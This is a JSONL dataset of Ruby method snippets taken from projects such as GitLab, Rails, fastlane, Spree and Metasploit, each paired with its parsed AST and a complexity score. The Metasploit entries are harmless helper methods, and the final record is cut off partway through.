{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/reimbursement/credit.rb","start_line":12,"raw_source":"def total_amount_reimbursed_for(reimbursement)\n        reimbursement.credits.to_a.sum(&:amount)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"total_amount_reimbursed_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reimbursement\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reimbursement\"]},\"credits\"]},\"to_a\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]}]}]}]}","id":"ab89dd2d-1594-44fa-abca-b214bba50a09"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/project.rb","start_line":85,"raw_source":"def options\n      # To keep compatibility with actions using this class from outside of `fastlane` gem; i.e. `xcov`,\n      # converts `options` to a plain Hash. Otherwise, it might crash when a new option's key is added\n      # due to `FastlaneCore::Configuration` to validate valid keys defined.\n      @options.kind_of?(FastlaneCore::Configuration) ? @options.values : @options\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Configuration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"values\"]},{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]}","id":"2c7a7349-db54-402f-9b03-a46d9e9d83ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-grape-openapi/lib/gitlab/grape_openapi/models/info.rb","start_line":9,"raw_source":"def initialize(**options)\n          @title = options[:title]\n          @description = options[:description]\n          @terms_of_service = options[:terms_of_service]\n          @version = options[:version]\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@title\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@description\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@terms_of_service\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"terms_of_service\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]}]}]}","id":"9a05dae9-cd08-48e4-8815-59f8d473ea8a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/appletv/appletv_display_video.rb","start_line":100,"raw_source":"def validate_source!(uri)\n    unless Rex::Socket.is_ipv4?(URI(uri).host) # Same trick in target_uri form HttpClient\n      raise Msf::OptionValidateError, ['URL']\n    end\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_source!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv4?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]},\"host\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptionValidateError\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]}]}]}]}]}","id":"7b00e9af-9fb3-4e10-8b42-8d2baab91e82"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/call.rb","start_line":37,"raw_source":"def decode_call_data(io)\n            call_data = Rex::Proto::Rmi::Model::CallData.decode(io)\n\n            call_data\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_call_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Rmi\"]},\"Model\"]},\"CallData\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"io\"]}]}]},{\"type\":\"lvar\",\"children\":[\"call_data\"]}]}]}","id":"fadf9955-5ecb-44ce-9a49-337052e03292"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/search/project_service.rb","start_line":18,"raw_source":"def execute\n      Gitlab::ProjectSearchResults.new(current_user,\n        params[:search],\n        project: project,\n        repository_ref: params[:repository_ref],\n        order_by: params[:order_by],\n        sort: params[:sort],\n        filters: filters\n      )\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ProjectSearchResults\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repository_ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_by\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"send\",\"children\":[null,\"filters\"]}]}]}]}]}","id":"fa95a60c-5906-469f-96e4-3d7b2ebfdc31"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/subscribers/ldap.rb","start_line":68,"raw_source":"def current_transaction\n          ::Gitlab::Metrics::WebTransaction.current || ::Gitlab::Metrics::BackgroundTransaction.current\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_transaction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"WebTransaction\"]},\"current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"BackgroundTransaction\"]},\"current\"]}]}]}","id":"8cb0fed0-dcb3-489f-a0f7-a6de5106b3a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/env_mocking.rb","start_line":46,"raw_source":"def on_send(node)\n          env_mocking?(node) do |key, value|\n            add_offense(node, message: MESSAGE) do |corrector|\n              corrector.replace(node, stub_env(key.source, value.source))\n            end\n          end\n        end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env_mocking?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MESSAGE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[null,\"stub_env\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"source\"]}]}]}]}]}]}","id":"0cec7f83-6b4c-404f-8aa1-b94dbf2d6be5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/repositories_helper.rb","start_line":46,"raw_source":"def truncate_at_line_break(text, length = 255)\n    text&.gsub(%r{^(.{#{length}}[^\\n]*)\\n.+$}m, '\\\\1...')\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"def\",\"children\":[\"truncate_at_line_break\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"optarg\",\"children\":[\"length\",{\"type\":\"int\",\"children\":[255]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(.{\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]}]},{\"type\":\"str\",\"children\":[\"}[^\\\\n]*)\\\\n.+$\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]},{\"type\":\"str\",\"children\":[\"\\\\1...\"]}]}]}","id":"697735ed-fbd2-4769-9396-758ffcedf572"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/testflight/testflight.rb","start_line":270,"raw_source":"def get_beta_testers(filter: {}, includes: nil, limit: nil, sort: nil)\n          params = test_flight_request_client.build_params(filter: filter, includes: includes, limit: limit, sort: sort)\n          test_flight_request_client.get(\"#{Version::V1}/betaTesters\", params)\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_beta_testers\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_flight_request_client\"]},\"build_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"lvar\",\"children\":[\"sort\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_flight_request_client\"]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/betaTesters\"]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"7568d31f-140a-4799-8508-82e97454a284"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/message.rb","start_line":734,"raw_source":"def parse(buffer)\n    buffer.position = 4\n    @ssl_request_code = buffer.read_int32_network\n    raise ParseError unless buffer.at_end?\n  end","complexity_score":6.35,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buffer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"position=\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"ivasgn\",\"children\":[\"@ssl_request_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"read_int32_network\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"at_end?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ParseError\"]}]}]}]}]}","id":"e07e059b-d92e-4a41-ada1-e9111ec87f1b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/after_export_strategies/base_after_export_strategy.rb","start_line":70,"raw_source":"def ensure_lock_files_path!\n        FileUtils.mkdir_p(lock_files_path)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_lock_files_path!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[null,\"lock_files_path\"]}]}]}","id":"614b42d0-3de7-4992-b609-d6d401874d23"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":36,"raw_source":"def test_inherited_has_many\n    assert_includes categories(:sti_test).authors, authors(:mary)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inherited_has_many\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"sti_test\"]}]},\"authors\"]},{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"mary\"]}]}]}]}","id":"72f708bd-a31d-47ad-ba10-3984b1639766"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/active_model_helper_test.rb","start_line":57,"raw_source":"def test_select_with_errors_and_blank_option\n    expected_dom = %(<div class=\"field_with_errors\"><select name=\"post[author_name]\" id=\"post_author_name\"><option value=\"\">Choose one...</option>\\n<option value=\"a\">a</option>\\n<option value=\"b\">b</option></select></div>)\n    assert_dom_equal(expected_dom, select(\"post\", \"author_name\", [:a, :b], include_blank: \"Choose one...\"))\n    assert_dom_equal(expected_dom, select(\"post\", \"author_name\", [:a, :b], prompt: \"Choose one...\"))\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_with_errors_and_blank_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_dom\",{\"type\":\"str\",\"children\":[\"<div class=\\\"field_with_errors\\\"><select name=\\\"post[author_name]\\\" id=\\\"post_author_name\\\"><option value=\\\"\\\">Choose one...</option>\\n<option value=\\\"a\\\">a</option>\\n<option value=\\\"b\\\">b</option></select></div>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected_dom\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"author_name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_blank\"]},{\"type\":\"str\",\"children\":[\"Choose one...\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected_dom\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"author_name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"str\",\"children\":[\"Choose one...\"]}]}]}]}]}]}]}","id":"0fcae414-44f3-415f-ac1d-1972423aa961"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/token_field/generator/routable_token.rb","start_line":53,"raw_source":"def routing_hash\n          routing_payload\n            .merge(DEFAULT_ROUTING_PAYLOAD_HASH)\n            .transform_values { |generator| format_value(generator.call(token_owner_record)) }\n            .compact_blank\n            .sort\n        end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"routing_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routing_payload\"]},\"merge\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_ROUTING_PAYLOAD_HASH\"]}]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"generator\"]}]},{\"type\":\"send\",\"children\":[null,\"format_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generator\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"token_owner_record\"]}]}]}]},\"compact_blank\"]},\"sort\"]}]}","id":"a1804d4e-eaa3-4563-8f5a-bdbab2ebdec3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/listbox_filter.rb","start_line":7,"raw_source":"def filter_and_select(item)\n          page.has_css?('.gl-listbox-search-input', wait: QA::Support::Repeater::DEFAULT_MAX_WAIT_TIME)\n\n          find('.gl-listbox-search-input').set(item)\n          find('.gl-new-dropdown-item', text: item, exact_text: true).click\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_and_select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".gl-listbox-search-input\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Support\"]},\"Repeater\"]},\"DEFAULT_MAX_WAIT_TIME\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".gl-listbox-search-input\"]}]},\"set\",{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".gl-new-dropdown-item\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exact_text\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"click\"]}]}]}","id":"c2cb0a9c-7c07-4116-a132-b019e6178d62"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/dbconsole_test.rb","start_line":27,"raw_source":"def test_sqlite3_header\n        config = make_db_config(adapter: \"sqlite3\", database: \"db.sqlite3\")\n\n        assert_find_cmd_and_exec_called_with([\"sqlite3\", \"-header\", root.join(\"db.sqlite3\").to_s]) do\n          SQLite3Adapter.dbconsole(config, header: true)\n        end\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sqlite3_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[null,\"make_db_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"db.sqlite3\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_find_cmd_and_exec_called_with\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sqlite3\"]},{\"type\":\"str\",\"children\":[\"-header\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"db.sqlite3\"]}]},\"to_s\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SQLite3Adapter\"]},\"dbconsole\",{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"b14c1edb-260c-481e-90e7-1bc89f1ac396"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example_status_persister.rb","start_line":9,"raw_source":"def self.load_from(file_name)\n        return [] unless File.exist?(file_name)\n        ExampleStatusParser.parse(File.read(file_name))\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExampleStatusParser\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}]}","id":"569a964c-897c-456f-8e73-9840b11cdc10"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb","start_line":25,"raw_source":"def initialize(client, hkey, name, type = nil, data = nil)\n    self.client = client\n    self.hkey   = hkey\n    self.name   = name\n    self.type   = type\n    self.data   = data\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]},{\"type\":\"arg\",\"children\":[\"hkey\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"data\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"client=\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hkey=\",{\"type\":\"lvar\",\"children\":[\"hkey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"type=\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data=\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"9bfcb0c3-7222-4411-9983-0e1ed51a2199"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods/primary_key.rb","start_line":56,"raw_source":"def id_for_database # :nodoc:\n        @attributes[@primary_key].value_for_database\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id_for_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attributes\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@primary_key\"]}]},\"value_for_database\"]}]}","id":"9d82187c-7b1c-423d-9e33-b8277b7b4e4d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/spamcheck/client.rb","start_line":75,"raw_source":"def build_user_protobuf(user)\n        user_pb = ::Spamcheck::User.new\n        user_pb.username = user.username\n        user_pb.id = user.id\n        user_pb.org = user.user_detail_organization || ''\n        user_pb.created_at = convert_to_pb_timestamp(user.created_at)\n        user_pb.abuse_metadata = Google::Protobuf::Map.new(:string, :float, user.abuse_metadata)\n\n        user_pb.emails << build_email(user.email, user.confirmed?)\n\n        user.emails.each do |email|\n          next if email.user_primary_email?\n\n          user_pb.emails << build_email(email.email, email.confirmed?)\n        end\n\n        user_pb\n      end","complexity_score":34.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_user_protobuf\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_pb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Spamcheck\"]},\"User\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_pb\"]},\"username=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_pb\"]},\"id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_pb\"]},\"org=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_detail_organization\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_pb\"]},\"created_at=\",{\"type\":\"send\",\"children\":[null,\"convert_to_pb_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"created_at\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_pb\"]},\"abuse_metadata=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Protobuf\"]},\"Map\"]},\"new\",{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"sym\",\"children\":[\"float\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"abuse_metadata\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_pb\"]},\"emails\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"confirmed?\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"emails\"]},\"each\"]},{\